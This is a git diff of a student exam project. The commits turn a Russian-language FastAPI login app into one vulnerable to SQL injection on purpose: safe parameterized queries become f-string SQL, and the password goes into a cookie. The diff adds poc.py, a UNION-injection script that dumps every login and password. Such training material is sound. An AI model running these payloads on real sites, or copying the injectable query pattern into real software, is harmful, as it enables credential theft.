Compare commits

..

16 Commits

Author SHA1 Message Date
4ed1d130e3 personify 2025-12-16 10:44:15 +10:00
a6eb4c06fd updated screenshots 2025-12-16 10:41:38 +10:00
d6c4fb3e14 P-Net Reference added 2025-12-16 08:16:25 +10:00
f958956395 minimal readme added 2025-12-16 03:26:15 +10:00
85083c9f15 poc ordering FIXEEEED (looks like i'm getting no sleep today)))))) 2025-12-16 03:22:05 +10:00
ed137b7620 added admin highlight ( im cooked 2025-12-16 02:49:11 +10:00
30a1c38304 updated gitignore 2025-12-16 02:36:07 +10:00
a05fd59274 added argparse for poc and requirements 2025-12-16 02:30:55 +10:00
d990cf5482 working poc added
MY BRAIN IS MELTIIINNG
2025-12-16 02:26:01 +10:00
2295061943 exploit is now possible 2025-12-16 02:15:51 +10:00
fa7d2c7cba removed unused endpoint 2025-12-16 01:55:09 +10:00
532556dacd unfixing safe code 2025-12-16 01:51:19 +10:00
f18f545e33 minimal visual improvements 2025-12-15 23:07:46 +10:00
661fee131e vunerability added 2025-12-15 23:05:11 +10:00
641df7cfe8 table creation added 2025-12-15 22:44:12 +10:00
5c7d16f418 minimal building container 2025-12-15 22:27:26 +10:00
30 changed files with 139 additions and 42 deletions

1
.gitignore vendored
View File

@@ -1,4 +1,3 @@
build
.vscode
**__pycache__
data

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 386 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

1
build Executable file
View File

@@ -0,0 +1 @@
docker build -t kulesh_web-app:v0.0.1a .

View File

@@ -1,7 +1,7 @@
services:
vunerable-web-app:
image: web-app:v0.0.1a
vunerable-web-app1:
image: kulesh_web-app:v0.0.1a
ports:
- "80:8000"
- "21252:8000"
volumes:
- ./data/:/app/data

39
poc.py Executable file
View File

@@ -0,0 +1,39 @@
#!/usr/bin/env python3
import requests
import re
import argparse
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
logins= logins_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

View File

@@ -1,10 +1,54 @@
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn)
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
# PC-Seq-Exam-WebApp
## Сборка
```sh
docker build -t kulesh_web-app:v0.0.1a .
```
## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
**На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия**
```bash
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
1. Реализовать страницу регистрации пользователей **(1.5 балла)**
2. Реализовать страницу авторизации пользователей **(1.5 балла)**
3. Реализовать **Cookie (2 балла)**
4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)**
5. Обернуть готовое приложение в **Docker (3 балла)**
для запуска ставим requests,
```pip install requests```
в помошь)
```sh
python ./poc.py --base-url http://aboba.eu
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
```
Выполнил Кулеш А.Б.
Б9123-09.03.04
---
Он постоянно что-то ест, он постоянно что-то пьёт
Он быстро набирает вес, клянётся, что в спортзал пойдёт
Но продолжает что-то есть и продолжает что-то пить

View File

@@ -7,12 +7,14 @@ DB_PATH = "./data/database.db"
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
cursor.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)")
cursor.execute(
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
)
app = FastAPI(
docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc
openapi_url=None # Disable OpenAPI JSON schema
docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc
openapi_url=None, # Disable OpenAPI JSON schema
)
STYLES = """
@@ -27,6 +29,7 @@ body {
</style>
"""
@app.get("/register", response_class=HTMLResponse)
async def register_form():
return f"""
@@ -44,17 +47,21 @@ async def register_form():
</html>
"""
@app.post("/register")
async def register(login: str = Form(...), password: str = Form(...)):
try:
cursor.execute("INSERT INTO users (login, password) VALUES (?, ?)", (login, password))
cursor.execute(
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
)
conn.commit()
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
response.set_cookie("password", password)
return response
except sqlite3.IntegrityError:
return HTMLResponse(f"""
return HTMLResponse(
f"""
<html>
<head><title>Ошибка регистрации</title>{STYLES}</head>
<body>
@@ -62,7 +69,10 @@ async def register(login: str = Form(...), password: str = Form(...)):
<a href='/register'>Попробовать снова</a>
</body>
</html>
""", status_code=400)
""",
status_code=400,
)
@app.get("/login", response_class=HTMLResponse)
async def login_form():
@@ -81,17 +91,21 @@ async def login_form():
</html>
"""
@app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
user = cursor.fetchone()
cursor.execute(
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user:
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
else:
return HTMLResponse(f"""
return HTMLResponse(
f"""
<html>
<head><title>Ошибка входа</title>{STYLES}</head>
<body>
@@ -99,7 +113,10 @@ async def login(login: str = Form(...), password: str = Form(...)):
<a href='/login'>Попробовать снова</a>
</body>
</html>
""", status_code=401)
""",
status_code=401,
)
@app.get("/welcome", response_class=HTMLResponse)
async def welcome(request: Request):
@@ -107,36 +124,33 @@ async def welcome(request: Request):
password = request.cookies.get("password")
if not login or not password:
return RedirectResponse(url="/login")
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
user = cursor.fetchone()
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
print(f"executing: {query}")
cursor.execute(
query
)
user = cursor.fetchall()
if user:
return f"""
<html>
<head><title>Добро пожаловать</title>{STYLES}</head>
<body>
<h1>Привет, {login}</h1>
<form action="/logout" method="post" onsubmit="return logoutAlert();">
<button type="submit">Выйти</button>
</form>
<script>
function logoutAlert() {{
alert('Вы вышли из аккаунта');
return true;
}}
</script>
<h1>Привет, {str(user)[3:-4]}</h1>
<button onclick="
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
window.location.href = '/login';
">Выйти</button>
</body>
</html>
"""
else:
return RedirectResponse(url="/login")
@app.post("/logout")
async def logout():
response = RedirectResponse(url="/login", status_code=302)
response.delete_cookie("login")
response.delete_cookie("password")
return response
@app.get("/", include_in_schema=False)
async def root():
return RedirectResponse(url="/login")
return RedirectResponse(url="/login")